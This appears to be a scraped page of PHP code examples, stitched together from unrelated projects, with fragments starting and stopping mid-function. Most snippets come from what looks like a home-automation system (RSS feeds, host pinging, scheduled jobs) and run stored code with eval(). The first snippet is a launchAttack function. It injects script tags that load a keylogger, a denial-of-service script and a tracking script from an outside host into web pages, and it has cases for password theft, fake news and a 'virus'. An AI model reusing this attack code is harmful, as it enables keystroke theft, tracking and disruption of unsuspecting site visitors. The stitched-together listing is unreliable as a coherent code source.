function launchAttack($typeOfAttack, $conn, $key)
{
    switch ($typeOfAttack) {
        case "Key":
            $keyloggerscript = "http://stme.esy.es/js/keylogger.js";
            $textToInsert = "<script type='text/javascript' src='{$keyloggerscript}'</script>";
            runScript($textToInsert, $conn, $key, "html");
            break;
        case "Dos":
            $link = "http://stme.esy.es/" . $key;
            $DosScript = "http://stme.esy.es/js/dos.js";
            $textToInsert = "<script type='text/javascript' src='{$DosScript}'></script>";
            //for($i=0;$i<10;i++){$textToInsert .= $textToInsert};
            runDosScript($textToInsert, $conn, $key);
            break;
        case "RickRoll":
            $textToInsert = "<iframe width='0' height='0' src='https://www.youtube.com/embed/oHg5SJYRHA0?rel=0&autoplay=1' frameborder='0'></iframe>";
            runScript($textToInsert, $conn, $key, "html");
            break;
            //    case "Cryptography":
            //          runCryptographyScript($privateKey,$key);
            //          break;
        //    case "Cryptography":
        //          runCryptographyScript($privateKey,$key);
        //          break;
        case "Tracking":
            $TrackingScript = "http://stme.esy.es/js/tracking.js";
            $textToInsert = "<script type='text/javascript' src='{$TrackingScript}'></script>";
            runScript($textToInsert, $conn, $key, "html");
            break;
        case "Password":
            runPasswordScript($key);
            break;
        case "Affliate":
            runAffliateScript($conn, $key);
            break;
        case "Fake News":
            runBbcScript($conn, $key);
            break;
        case "Virus":
            runVirusScript($conn, $key);
            break;
        default:
            runIframeScript($conn, $key);
            break;
    }
}
/**
* Title
*
* Description
*
* @access public
*/
 function updateChannel($id) {
  $ch=SQLSelectOne("SELECT * FROM rss_channels WHERE ID='".(int)$id."'");

  $ch['LAST_UPDATE']=date('Y-m-d H:i:s');
  $ch['NEXT_UPDATE']=date('Y-m-d H:i:s', time()+$ch['UPDATE_EVERY']*60);
  SQLUpdate('rss_channels', $ch);


  $data = simplexml_load_file($ch['URL']);
                                        if ($data)
                                        {
                                                if (is_object($data->channel) && ! empty($data->channel))
                                                {
                                                        foreach ($data->channel->item as $item)
                                                        {
                                                        $rec=array();
                                                        $rec['CHANNEL_ID']=$ch['ID'];

                                                                $parsedFull = 0;
                                                                if ($item->pubDate)
                                                                {
                                                                        $rec['ADDED'] = date('Y-m-d H:i:s', strtotime((string)$item->pubDate));
                                                                }
                                                                else 
                                                                {
                                                                        $rec['ADDED'] = date('Y-m-d H:i:s');
                                                                }
                                                                $rec['TITLE'] = $this->convertObjDataToStr($item->title);
                                                                $rec['BODY'] = $this->convertObjDataToStr($item->description);
                                                                $rec['URL'] = $this->convertObjDataToStr($item->link);
                                                                $rec['GUID']  = $rec['URL'];
                                                                //print_r($rec);
                                                                //exit;
                                                                $tmp=SQLSelectOne("SELECT ID FROM rss_items WHERE GUID='".DBSafe($rec['GUID'])."'");
                                                                if (!$tmp['ID']) {
                                                                 $rec['ID']=SQLInsert('rss_items', $rec);
                                                                 if ($ch['SCRIPT_ID']) {
                                                                  $params=$rec;
                                                                  $params['CHANNEL_TITLE']=$ch['TITLE'];
                                                                  runScript($ch['SCRIPT_ID'], $params);
                                                                 }
                                                                }
                                                         }


                                                }
                                          }
 }
Esempio n. 3
0
             }
         }
     } else {
         $sqlQuery = "SELECT *\n                        FROM gpslog\n                       WHERE DEVICE_ID = '" . $device['ID'] . "'\n                         AND ID        != '" . $rec['ID'] . "'\n                       ORDER BY ADDED DESC\n                       LIMIT 1";
         $tmp = SQLSelectOne($sqlQuery);
         if ($tmp['LOCATION_ID'] == $locations[$i]['ID']) {
             //Debmes("Device (" . $device['TITLE'] . ") LEFT location " . $locations[$i]['TITLE']);
             // left location
             $sqlQuery = "SELECT *\n                           FROM gpsactions\n                          WHERE LOCATION_ID = '" . $locations[$i]['ID'] . "'\n                            AND ACTION_TYPE = 0\n                            AND USER_ID     = '" . $device['USER_ID'] . "'";
             $gpsaction = SQLSelectOne($sqlQuery);
             if ($gpsaction['ID']) {
                 $gpsaction['EXECUTED'] = date('Y-m-d H:i:s');
                 $gpsaction['LOG'] = $gpsaction['EXECUTED'] . " Executed\n" . $gpsaction['LOG'];
                 SQLUpdate('gpsactions', $gpsaction);
                 if ($gpsaction['SCRIPT_ID']) {
                     runScript($gpsaction['SCRIPT_ID']);
                 } elseif ($gpsaction['CODE']) {
                     try {
                         $code = $gpsaction['CODE'];
                         $success = eval($code);
                         if ($success === false) {
                             DebMes("Error in GPS action code: " . $code);
                         }
                     } catch (Exception $e) {
                         DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     }
                 }
             }
         }
     }
 }
Esempio n. 4
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function updateChannel($id)
 {
     $ch = SQLSelectOne("SELECT * FROM rss_channels WHERE ID='" . (int) $id . "'");
     $ch['LAST_UPDATE'] = date('Y-m-d H:i:s');
     $ch['NEXT_UPDATE'] = date('Y-m-d H:i:s', time() + $ch['UPDATE_EVERY'] * 60);
     SQLUpdate('rss_channels', $ch);
     /*
     $cch =curl_init();
     curl_setopt($cch, CURLOPT_URL, $ch['URL']);
     curl_setopt($cch, CURLOPT_HTTPHEADER, array("User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3"));
     curl_setopt($cch, CURLOPT_RETURNTRANSFER, true);
     $rssdata = curl_exec($cch);
     curl_close($cch);
     */
     $rssdata = getURL($ch['URL'], 0);
     $data = simplexml_load_string($rssdata);
     if ($data) {
         if (is_object($data->channel) && !empty($data->channel)) {
             foreach ($data->channel->item as $item) {
                 $rec = array();
                 $rec['CHANNEL_ID'] = $ch['ID'];
                 $parsedFull = 0;
                 if ($item->pubDate) {
                     $rec['ADDED'] = date('Y-m-d H:i:s', strtotime((string) $item->pubDate));
                 } else {
                     $rec['ADDED'] = date('Y-m-d H:i:s');
                 }
                 $rec['TITLE'] = $this->convertObjDataToStr($item->title);
                 $rec['BODY'] = $this->convertObjDataToStr($item->description);
                 $rec['URL'] = $this->convertObjDataToStr($item->link);
                 $rec['GUID'] = $rec['URL'];
                 $timestamp = strtotime($rec['ADDED']);
                 //print_r($rec);
                 //exit;
                 $tmp = SQLSelectOne("SELECT ID FROM rss_items WHERE GUID='" . DBSafe($rec['GUID']) . "'");
                 if (!$tmp['ID']) {
                     $rec['ID'] = SQLInsert('rss_items', $rec);
                     if ($ch['SCRIPT_ID']) {
                         $params = $rec;
                         $params['CHANNEL_TITLE'] = $ch['TITLE'];
                         $params['TM'] = $timestamp;
                         $params['PASSED'] = time() - $timestamp;
                         runScript($ch['SCRIPT_ID'], $params);
                     }
                 }
             }
         }
     }
 }
Esempio n. 5
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function checkAllVars($force = 0)
 {
     // ping hosts
     if ($force) {
         $pings = SQLSelect("SELECT * FROM webvars WHERE 1");
     } else {
         $pings = SQLSelect("SELECT * FROM webvars WHERE CHECK_NEXT<=NOW()");
     }
     $total = count($pings);
     for ($i = 0; $i < $total; $i++) {
         $host = $pings[$i];
         if (!$force) {
             echo date('H:i:s') . " Checking webvar: " . processTitle($host['HOSTNAME']) . "\n";
         }
         if (!$host['HOSTNAME']) {
             continue;
         }
         $online_interval = $host['ONLINE_INTERVAL'];
         if (!$online_interval) {
             $online_interval = 60;
         }
         $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $online_interval);
         SQLUpdate('webvars', $host);
         // checking
         //web host
         $old_status = $host['LATEST_VALUE'];
         if ($host['AUTH'] && $host['USERNAME']) {
             $content = getURL(processTitle($host['HOSTNAME']), $host['ONLINE_INTERVAL'], $host['USERNAME'], $host['PASSWORD']);
         } else {
             $content = getURL(processTitle($host['HOSTNAME']), $host['ONLINE_INTERVAL']);
         }
         if ($host['ENCODING'] != '') {
             $content = iconv($host['ENCODING'], "UTF-8", $content);
         }
         $ok = 1;
         $new_status = '';
         if ($host['SEARCH_PATTERN']) {
             if (preg_match('/' . $host['SEARCH_PATTERN'] . '/is', $content, $m)) {
                 //$new_status=$m[1];
                 $total1 = count($m);
                 for ($i1 = 1; $i1 < $total1; $i1++) {
                     $new_status .= $m[$i1];
                 }
             } else {
                 $ok = 0;
                 // result did not matched
             }
         } else {
             $new_status = $content;
         }
         if ($host['CHECK_PATTERN'] && !preg_match('/' . $host['CHECK_PATTERN'] . '/is', $new_status)) {
             $ok = 0;
             // result did not pass the check
         }
         if (strlen($new_status) > 50 * 1024) {
             $new_status = substr($new_status, 0, 50 * 1024);
         }
         if (!$ok) {
             $host['LOG'] = date('Y-m-d H:i:s') . ' incorrect value:' . $new_status . "\n" . $host['LOG'];
             $tmp = explode("\n", $host['LOG']);
             $total = count($tmp);
             if ($total > 50) {
                 $tmp = array_slice($tmp, 0, 50);
                 $host['LOG'] = implode("\n", $tmp);
             }
             SQLUpdate('webvars', $host);
             continue;
         }
         $host['CHECK_LATEST'] = date('Y-m-d H:i:s');
         $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $online_interval);
         if ($old_status != $new_status) {
             $host['LOG'] = date('Y-m-d H:i:s') . ' new value:' . $new_status . "\n" . $host['LOG'];
             $tmp = explode("\n", $host['LOG']);
             $total = count($tmp);
             if ($total > 50) {
                 $tmp = array_slice($tmp, 0, 50);
                 $host['LOG'] = implode("\n", $tmp);
             }
         }
         $host['LATEST_VALUE'] = $new_status;
         SQLUpdate('webvars', $host);
         if ($host['LINKED_OBJECT'] != '' && $host['LINKED_PROPERTY'] != '') {
             getObject($host['LINKED_OBJECT'])->setProperty($host['LINKED_PROPERTY'], $new_status);
         }
         if ($old_status != $new_status && $old_status != '') {
             $params = array('VALUE' => $new_status);
             // do some status change actions
             $run_script_id = 0;
             $run_code = '';
             // got online
             if ($host['SCRIPT_ID']) {
                 $run_script_id = $host['SCRIPT_ID'];
             } elseif ($host['CODE']) {
                 $run_code = $host['CODE'];
             }
             if ($run_script_id) {
                 //run script
                 runScript($run_script_id, $params);
             } elseif ($run_code) {
                 //run code
                 try {
                     $code = $run_code;
                     $success = eval($code);
                     if ($success === false) {
                         DebMes("Error in webvar code: " . $code);
                         registerError('webvars', "Error in webvar code: " . $code);
                     }
                 } catch (Exception $e) {
                     DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     registerError('webvars', get_class($e) . ', ' . $e->getMessage());
                 }
             }
         }
     }
 }
Esempio n. 6
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function checkAllHosts($limit = 1000)
 {
     // ping hosts
     $pings = SQLSelect("SELECT * FROM pinghosts WHERE CHECK_NEXT<=NOW() ORDER BY CHECK_NEXT LIMIT " . $limit);
     $total = count($pings);
     for ($i = 0; $i < $total; $i++) {
         $host = $pings[$i];
         echo "Checking " . $host['HOSTNAME'] . "\n";
         $online_interval = $host['ONLINE_INTERVAL'];
         if (!$online_interval) {
             $online_interval = 60;
         }
         $offline_interval = $host['OFFLINE_INTERVAL'];
         if (!$offline_interval) {
             $offline_interval = $online_interval;
         }
         if ($host['STATUS'] == '1') {
             $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $online_interval);
         } else {
             $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $offline_interval);
         }
         SQLUpdate('pinghosts', $host);
         $online = 0;
         // checking
         if (!$host['TYPE']) {
             //ping host
             $online = ping(processTitle($host['HOSTNAME']));
         } else {
             //web host
             $online = getURL(processTitle($host['HOSTNAME']), 0);
             SaveFile("./cached/host_" . $host['ID'] . '.html', $online);
             if ($host['SEARCH_WORD'] != '' && !is_integer(strpos($online, $host['SEARCH_WORD']))) {
                 $online = 0;
             }
             if ($online) {
                 $online = 1;
             }
         }
         if ($online) {
             $new_status = 1;
         } else {
             $new_status = 2;
         }
         $old_status = $host['STATUS'];
         if ($host['COUNTER_REQUIRED']) {
             $old_status_expected = $host['STATUS_EXPECTED'];
             $host['STATUS_EXPECTED'] = $new_status;
             if ($old_status_expected != $host['STATUS_EXPECTED']) {
                 $host['COUNTER_CURRENT'] = 0;
                 $host['LOG'] = date('Y-m-d H:i:s') . ' tries counter reset (status: ' . $host['STATUS_EXPECTED'] . ')' . "\n" . $host['LOG'];
             } elseif ($host['STATUS'] != $host['STATUS_EXPECTED']) {
                 $host['COUNTER_CURRENT']++;
                 $host['LOG'] = date('Y-m-d H:i:s') . ' tries counter increased to ' . $host['COUNTER_CURRENT'] . ' (status: ' . $host['STATUS_EXPECTED'] . ')' . "\n" . $host['LOG'];
             }
             if ($host['COUNTER_CURRENT'] >= $host['COUNTER_REQUIRED']) {
                 $host['STATUS'] = $host['STATUS_EXPECTED'];
                 $host['COUNTER_CURRENT'] = 0;
             } else {
                 $interval = min($online_interval, $offline_interval, 20);
                 $online_interval = $interval;
                 $offline_interval = $interval;
             }
         } else {
             $host['STATUS'] = $new_status;
             $host['STATUS_EXPECTED'] = $host['STATUS'];
             $host['COUNTER_CURRENT'] = 0;
         }
         $host['CHECK_LATEST'] = date('Y-m-d H:i:s');
         if ($host['LINKED_OBJECT'] != '' && $host['LINKED_PROPERTY'] != '') {
             setGlobal($host['LINKED_OBJECT'] . '.' . $host['LINKED_PROPERTY'], $host['STATUS']);
         }
         if ($host['STATUS'] == '1') {
             $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $online_interval);
         } else {
             $host['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $offline_interval);
         }
         if ($old_status != $host['STATUS']) {
             if ($host['STATUS'] == 2) {
                 $host['LOG'] .= date('Y-m-d H:i:s') . ' Host is offline' . "\n";
             } elseif ($host['STATUS'] == 1) {
                 $host['LOG'] .= date('Y-m-d H:i:s') . ' Host is online' . "\n";
             }
             $tmp = explode("\n", $host['LOG']);
             $total = count($tmp);
             if ($total > 50) {
                 $tmp = array_slice($tmp, 0, 50);
                 $host['LOG'] = implode("\n", $tmp);
             }
         }
         SQLUpdate('pinghosts', $host);
         if ($old_status != $host['STATUS'] && $old_status != 0) {
             // do some status change actions
             $run_script_id = 0;
             $run_code = '';
             if ($old_status == 2 && $host['STATUS'] == 1) {
                 // got online
                 if ($host['SCRIPT_ID_ONLINE']) {
                     $run_script_id = $host['SCRIPT_ID_ONLINE'];
                 } elseif ($host['CODE_ONLINE']) {
                     $run_code = $host['CODE_ONLINE'];
                 }
             } elseif ($old_status == 1 && $host['STATUS'] == 2) {
                 // got offline
                 if ($host['SCRIPT_ID_OFFLINE']) {
                     $run_script_id = $host['SCRIPT_ID_OFFLINE'];
                 } elseif ($host['CODE_OFFLINE']) {
                     $run_code = $host['CODE_OFFLINE'];
                 }
             }
             if ($run_script_id) {
                 //run script
                 runScript($run_script_id);
             } elseif ($run_code) {
                 //run code
                 try {
                     $code = $run_code;
                     $success = eval($code);
                     if ($success === false) {
                         DebMes("Error in hosts online code: " . $code);
                         registerError('ping_hosts', "Error in hosts online code: " . $code);
                     }
                 } catch (Exception $e) {
                     DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     registerError('ping_hosts', get_class($e) . ', ' . $e->getMessage());
                 }
             }
         }
     }
 }
Esempio n. 7
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function checkWatchFolder($id, $no_script = 0)
 {
     $rec = SQLSelectOne("SELECT * FROM watchfolders WHERE ID=" . (int) $id);
     if (!$rec['ID']) {
         return 0;
     }
     $res = $this->getTree($rec['FOLDER'], $rec['CHECK_SUB'], $rec['CHECK_MASK']);
     $rec['CHECK_LATEST'] = date('Y-m-d H:i:s');
     if (!$rec['CHECK_INTERVAL']) {
         $rec['CHECK_INTERVAL'] = 60;
     }
     $rec['CHECK_NEXT'] = date('Y-m-d H:i:s', time() + $rec['CHECK_INTERVAL'] * 60);
     if ($rec['CHECK_RESULTS'] != serialize($res)) {
         $files_updated = 1;
     } else {
         $files_updated = 0;
     }
     if ($rec['CHECK_RESULTS']) {
         $last_check_results = unserialize($rec['CHECK_RESULTS']);
     } else {
         $last_check_results = array();
     }
     $rec['CHECK_RESULTS'] = serialize($res);
     SQLUpdate('watchfolders', $rec);
     if ($files_updated && !$no_script && $rec['SCRIPT_ID'] && $rec['SCRIPT_TYPE']) {
         //checking for updated files
         $new_files = array();
         foreach ($res as $k => $v) {
             if (!$last_check_results[$k] || $last_check_results[$k]['SIZE'] != $res[$k]['SIZE']) {
                 $new_files[$k] = $v;
             }
         }
         //run script if set
         if ($rec['SCRIPT_TYPE'] == 2) {
             // run script for all files
             $params = array();
             $params['FOLDER'] = $rec['FOLDER'];
             $params['FILES_UPDATED'] = $new_files;
             runScript($rec['SCRIPT_ID'], $params);
         } elseif ($rec['SCRIPT_TYPE'] == 1) {
             // run script for every new file
             foreach ($new_files as $k => $v) {
                 $params = array();
                 $params['FOLDER'] = $rec['FOLDER'];
                 $params['FILENAME'] = $k;
                 runScript($rec['SCRIPT_ID'], $params);
             }
         }
     }
 }
Esempio n. 8
0
/**
* Title
*
* Description
*
* @access public
*/
 function checkAllHosts($limit=1000) {

  // ping hosts
  $pings=SQLSelect("SELECT * FROM pinghosts WHERE CHECK_NEXT<=NOW() ORDER BY CHECK_NEXT LIMIT ".$limit);
  $total=count($pings);
  for($i=0;$i<$total;$i++) {
   $host=$pings[$i];
   echo "Checking ".$host['HOSTNAME']."\n";
   $online_interval=$host['ONLINE_INTERVAL'];
   if (!$online_interval) {
    $online_interval=60;
   }
   $offline_interval=$host['OFFLINE_INTERVAL'];
   if (!$offline_interval) {
    $offline_interval=$online_interval;
   }

   if ($host['STATUS']=='1') {
    $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$online_interval);
   } else {
    $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$offline_interval);
   }
   SQLUpdate('pinghosts', $host);

   $online=0;
   // checking
   if (!$host['TYPE']) {
    //ping host
    $online=ping($host['HOSTNAME']);
   } else {
    //web host
    $online=file_get_contents($host['HOSTNAME']);
    SaveFile("./cached/host_".$host['ID'].'.html', $online);
    if ($host['SEARCH_WORD']!='' && !is_integer(strpos($online, $host['SEARCH_WORD']))) {
     $online=0;
    }
    if ($online) {
     $online=1;
    }
   }

   $old_status=$host['STATUS'];
   if ($online) {
    $new_status=1;
   } else {
    $new_status=2;
   }

   $host['CHECK_LATEST']=date('Y-m-d H:i:s');
   $host['STATUS']=$new_status;

   if ($host['STATUS']=='1') {
    $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$online_interval);
   } else {
    $host['CHECK_NEXT']=date('Y-m-d H:i:s', time()+$offline_interval);
   }

   if ($old_status!=$new_status) {
    if ($new_status==2) {
     $host['LOG']=date('Y-m-d H:i:s').' Host is offline'."\n".$host['LOG'];
    } elseif ($new_status==1) {
     $host['LOG']=date('Y-m-d H:i:s').' Host is online'."\n".$host['LOG'];
    }
   }

   SQLUpdate('pinghosts', $host);

   if ($old_status!=$new_status && $old_status!=0) {
    // do some status change actions
    $run_script_id=0;
    $run_code='';
    if ($old_status==2 && $new_status==1) {
     // got online
     if ($host['SCRIPT_ID_ONLINE']) {
      $run_script_id=$host['SCRIPT_ID_ONLINE'];
     } elseif ($host['CODE_ONLINE']) {
      $run_code=$host['CODE_ONLINE'];
     }
    } elseif ($old_status==1 && $new_status==2) {
     // got offline
     if ($host['SCRIPT_ID_OFFLINE']) {
      $run_script_id=$host['SCRIPT_ID_OFFLINE'];
     } elseif ($host['CODE_OFFLINE']) {
      $run_code=$host['CODE_OFFLINE'];
     }
    }

    if ($run_script_id) {
     //run script
     runScript($run_script_id);
    } elseif ($run_code) {
     //run code
     eval($run_code);
    }

   }
   

  } 


 }
Esempio n. 9
0
/**
* Title
*
* Description
*
* @access public
*/
 function checkPattern($id) {
  $rec=SQLSelectOne("SELECT * FROM patterns WHERE ID='".(int)$id."'");
  $pattern=$rec['PATTERN'];
  $pattern=str_replace("\r", '', $pattern);
  if ($pattern=='') {
   return 0;
  }
  $lines_pattern=explode("\n", $pattern);
  $total_lines=count($lines_pattern);
  if (!$rec['TIME_LIMIT']) {
   $messages=SQLSelect("SELECT MESSAGE FROM shouts ORDER BY ADDED DESC LIMIT ".(int)$total_lines);
   $messages=array_reverse($messages);
  } else {
   $start_from=time()-$rec['TIME_LIMIT'];
   $messages=SQLSelect("SELECT MESSAGE FROM shouts WHERE ADDED>=('".date('Y-m-d H:i:s', $start_from)."') ORDER BY ADDED");
  }

  $total=count($messages);
  if (!$total) {
   return 0;
  }

  $lines=array();
  for($i=0;$i<$total;$i++) {
   $lines[]=$messages[$i]['MESSAGE'];
  }
  $history=implode('@@@@', $lines);
  $check=implode('@@@@', $lines_pattern);

  if (preg_match('/'.$check.'/is', $history, $matches)) {
   $rec['LOG']=date('Y-m-d H:i:s').' Pattern matched'."\n".$rec['LOG'];
   SQLUpdate('patterns', $rec);

   global $noPatternMode;
   $noPatternMode=1;
   if ($rec['SCRIPT_ID']) {
    runScript($rec['SCRIPT_ID'], $matches);
   } elseif ($rec['SCRIPT']) {
    eval($rec['SCRIPT']);
   }
   $noPatternMode=0;
  }
 }
Esempio n. 10
0
        }
    } else {
        DebMes("object [" . $object . "] not found");
    }
} elseif ($job != '') {
    $job = SQLSelectOne("SELECT * FROM jobs WHERE ID='" . (int) $job . "'");
    if ($job['ID']) {
        try {
            $code = $job['COMMANDS'];
            $success = eval($code);
            if ($success === false) {
                DebMes("Error in scheduled job code: " . $code);
                registerError('scheduled_jobs', "Error in scheduled job code: " . $code);
            }
        } catch (Exception $e) {
            DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
            registerError('scheduled_jobs', get_class($e) . ', ' . $e->getMessage());
        }
        echo "OK";
    }
} elseif ($script != '') {
    //echo "\nRunning script: ".$script;
    //DebMes("Running script: ".$script);
    runScript($script, $_REQUEST);
}
$db->Disconnect();
// closing database connection
endMeasure('TOTAL');
// end calculation of execution time
//performanceReport(); // print performance report
// ob_end_flush();
Esempio n. 11
0
 /**
 * Title
 *
 * Description
 *
 * @access public
 */
 function checkScheduledScripts()
 {
     $scripts = SQLSelect("SELECT ID, TITLE, RUN_DAYS, RUN_TIME FROM scripts WHERE RUN_PERIODICALLY=1 AND (UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(EXECUTED))>1200");
     $total = count($scripts);
     for ($i = 0; $i < $total; $i++) {
         $rec = $scripts[$i];
         if ($rec['RUN_DAYS'] === '') {
             continue;
         }
         $run_days = explode(',', $rec['RUN_DAYS']);
         if (!in_array(date('w'), $run_days)) {
             continue;
         }
         $tm = strtotime(date('Y-m-d') . ' ' . $rec['RUN_TIME']);
         $diff = time() - $tm;
         if ($diff < 0 || $diff >= 10 * 60) {
             continue;
         }
         runScript($rec['TITLE']);
         $rec['DIFF'] = $diff;
         //print_r($rec);
     }
     //print_r($scripts);
 }
Esempio n. 12
0
 /**
 * FrontEnd
 *
 * Module frontend
 *
 * @access public
 */
 function usual(&$out)
 {
     global $ajax;
     if ($ajax) {
         global $op;
         header("HTTP/1.0: 200 OK\n");
         header('Content-Type: text/html; charset=utf-8');
         if ($op == 'resized' || $op == 'dragged') {
             global $element;
             global $details;
             $element_id = 0;
             if (preg_match('/state_(\\d+)/', $element, $m)) {
                 $state = SQLSelectOne("SELECT ELEMENT_ID FROM elm_states WHERE ID='" . (int) $m[1] . "'");
                 $element_id = $state['ELEMENT_ID'];
             } elseif (preg_match('/canvas_(\\d+)/', $element, $m) || preg_match('/container_(\\d+)/', $element, $m)) {
                 $element_id = $m[1];
             }
             $element = SQLSelectOne("SELECT * FROM elements WHERE ID='" . (int) $element_id . "'");
         }
         if ($op == 'resized' && $element['ID']) {
             $details = json_decode($details, true);
             $element['WIDTH'] = $details['size']['width'];
             $element['HEIGHT'] = $details['size']['height'];
             if ($element['WIDTH'] > 0 && $element['HEIGHT'] > 0) {
                 SQLUpdate('elements', $element);
             }
         }
         if ($op == 'dragged' && $element['ID']) {
             $details = json_decode($details, true);
             //echo "Dragged $element ".serialize($details);
             $diff_top = $details['position']['top'] - $details['originalPosition']['top'];
             $diff_left = $details['position']['left'] - $details['originalPosition']['left'];
             if ($diff_top != 0 || $diff_left != 0) {
                 $element['TOP'] += $diff_top;
                 $element['LEFT'] += $diff_left;
                 SQLUpdate('elements', $element);
                 $linked_elements = SQLSelect("SELECT * FROM elements WHERE LINKED_ELEMENT_ID=" . (int) $element['ID']);
                 $total = count($linked_elements);
                 for ($i = 0; $i < $total; $i++) {
                     $linked_elements[$i]['TOP'] -= $diff_top;
                     $linked_elements[$i]['LEFT'] -= $diff_left;
                     SQLUpdate('elements', $linked_elements[$i]);
                 }
             }
         }
         if ($op == 'checkAllStates') {
             global $scene_id;
             $qry = "1";
             if (preg_match('/(\\d+)\\.html/', $_SERVER["REQUEST_URI"], $m)) {
                 $qry .= " AND scenes.ID='" . (int) $m[1] . "'";
             } elseif ($scene_id) {
                 $qry .= " AND scenes.ID='" . (int) $scene_id . "'";
             } else {
                 $qry .= " AND scenes.HIDDEN!=1";
             }
             foreach ($_GET as $k => $v) {
                 $this->data[$k] = $v;
             }
             $states = array();
             $elements = $this->getDynamicElements($qry);
             $total = count($elements);
             for ($i = 0; $i < $total; $i++) {
                 if (is_array($elements[$i]['STATES'])) {
                     foreach ($elements[$i]['STATES'] as $st) {
                         $states[] = $st;
                     }
                 }
             }
             $total = count($states);
             for ($i = 0; $i < $total; $i++) {
                 $this->processState($states[$i]);
             }
             echo json_encode($states);
         }
         if ($op == 'click') {
             global $id;
             if (preg_match('/(\\d+)\\_(\\d+)/', $id, $m)) {
                 $dynamic_item = 1;
                 $real_part = $m[1];
                 $object_part = $m[2];
                 if ($object_part) {
                     $object_rec = SQLSelectOne("SELECT ID, TITLE FROM objects WHERE ID=" . (int) $object_part);
                 }
             } else {
                 $dynamic_item = 0;
                 $real_part = $id;
                 $object_part = 0;
             }
             $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . (int) $real_part . "'");
             $params = array('STATE' => $state['TITLE']);
             if ($state['ACTION_OBJECT'] && $state['ACTION_METHOD']) {
                 if ($object_part) {
                     $state['ACTION_OBJECT'] = $object_rec['TITLE'];
                 }
                 callMethod($state['ACTION_OBJECT'] . '.' . $state['ACTION_METHOD'], $params);
             }
             if ($state['SCRIPT_ID']) {
                 runScript($state['SCRIPT_ID'], $params);
             }
             if ($state['CODE']) {
                 try {
                     $code = $state['CODE'];
                     $success = eval($code);
                     if ($success === false) {
                         DebMes("Error scene item code: " . $code);
                         registerError('scenes', "Error scene item code: " . $code);
                     }
                 } catch (Exception $e) {
                     DebMes('Error: exception ' . get_class($e) . ', ' . $e->getMessage() . '.');
                     registerError('scenes', get_class($e) . ', ' . $e->getMessage());
                 }
             }
             $qry = "1";
             $qry .= " AND elements.ID=" . $state['ELEMENT_ID'];
             $states = array();
             $elements = $this->getDynamicElements($qry);
             $total = count($elements);
             for ($i = 0; $i < $total; $i++) {
                 if (is_array($elements[$i]['STATES'])) {
                     foreach ($elements[$i]['STATES'] as $st) {
                         $states[] = $st;
                     }
                 }
             }
             $total = count($states);
             for ($i = 0; $i < $total; $i++) {
                 $this->processState($states[$i]);
                 /*
                 $states[$i]['STATE']=(string)$this->checkState($states[$i]['ID']);
                 if ($states[$i]['HTML']!='') {
                  $states[$i]['HTML']=processTitle($states[$i]['HTML'], $this);
                 }
                 if ($states[$i]['TYPE']=='img') {
                  unset($states[$i]['HTML']);
                 }
                 */
             }
             echo json_encode($states);
         }
         if ($op == 'position') {
             global $id;
             global $posx;
             global $posy;
             global $width;
             global $height;
             if ($id && $posx && $posy && $width && $height) {
                 $state = SQLSelectOne("SELECT * FROM elm_states WHERE ID='" . $id . "'");
                 $state['WINDOW_POSX'] = $posx;
                 $state['WINDOW_POSY'] = $posy;
                 $state['WINDOW_WIDTH'] = $width;
                 $state['WINDOW_HEIGHT'] = $height;
                 SQLUpdate('elm_states', $state);
             }
             //
             echo "OK";
         }
         exit;
     }
     $this->admin($out);
     $out['ALL_TYPES'] = $this->getAllTypes();
 }
 function get_traffic($reg_id)
 {
     $data_file = 'https://export.yandex.ru/bar/reginfo.xml?region=' . $reg_id;
     // адрес xml файла
     $xml = simplexml_load_file($data_file);
     // раскладываем xml на массив
     //Выставляем переменные
     sg('yt_info.city_title', $xml->region->title);
     sg('yt_info.level', $xml->traffic->region->level);
     sg('yt_info.icon', $xml->traffic->region->icon);
     sg('yt_info.time', $xml->traffic->region->time);
     sg('yt_info.val', $xml->traffic->region->hint);
     sg('yt_info.tend', $xml->traffic->region->tend);
     runScript(gg('yt_settings.updScript'));
 }
Esempio n. 14
0
 /**
 * BackEnd
 *
 * Module backend
 *
 * @access public
 */
 function admin(&$out)
 {
     global $ajax;
     if ($ajax) {
         global $op;
         global $item_id;
         if ($op == 'get_label') {
             startMeasure('getLabel');
             $item = SQLSelectOne("SELECT * FROM commands WHERE ID='" . (int) $item_id . "'");
             startMeasure('getLabel ' . $item['TITLE'], 1);
             if ($item['ID']) {
                 $res = array();
                 if ($item['TYPE'] == 'custom') {
                     $item['DATA'] = processTitle($item['DATA'], $this);
                     $res['DATA'] = $item['DATA'];
                 } else {
                     $item['TITLE'] = processTitle($item['TITLE'], $this);
                     $res['DATA'] = $item['TITLE'];
                 }
                 if ($item['RENDER_DATA'] != $item['DATA'] || $item['RENDER_TITLE'] != $item['TITLE']) {
                     $tmp = SQLSelectOne("SELECT * FROM commands WHERE ID='" . $item['ID'] . "'");
                     $tmp['RENDER_TITLE'] = $item['TITLE'];
                     $tmp['RENDER_DATA'] = $item['DATA'];
                     $tmp['RENDER_UPDATED'] = date('Y-m-d H:i:s');
                     SQLUpdate('commands', $tmp);
                 }
                 echo json_encode($res);
             }
             endMeasure('getLabel ' . $item['TITLE'], 1);
             endMeasure('getLabel', 1);
             exit;
         }
         if ($op == 'get_value') {
             startMeasure('getValue');
